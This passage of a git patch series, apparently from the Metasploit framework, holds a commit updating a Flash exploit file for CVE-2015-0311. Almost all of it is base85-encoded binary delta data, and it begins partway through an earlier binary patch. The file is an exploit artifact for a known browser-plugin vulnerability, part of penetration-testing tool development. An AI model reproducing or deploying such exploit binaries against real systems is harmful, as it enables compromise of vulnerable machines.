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 R5yx_b_8jOS|NmvJ!T@L~{cHdL From f119da94ca42fc75d9a3e5acda5b29fd47ca2143 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 14:14:38 -0500 Subject: [PATCH 23/55] Add one more message --- data/exploits/CVE-2015-0311/msf.swf | Bin 20384 -> 20391 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index d4dfc9f9ffdba92fa1930c6bcb9ed531d0c059c7..1859166717e68a7ee652eeac54c667c7de9f34f5 100644 GIT binary patch delta 20268 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 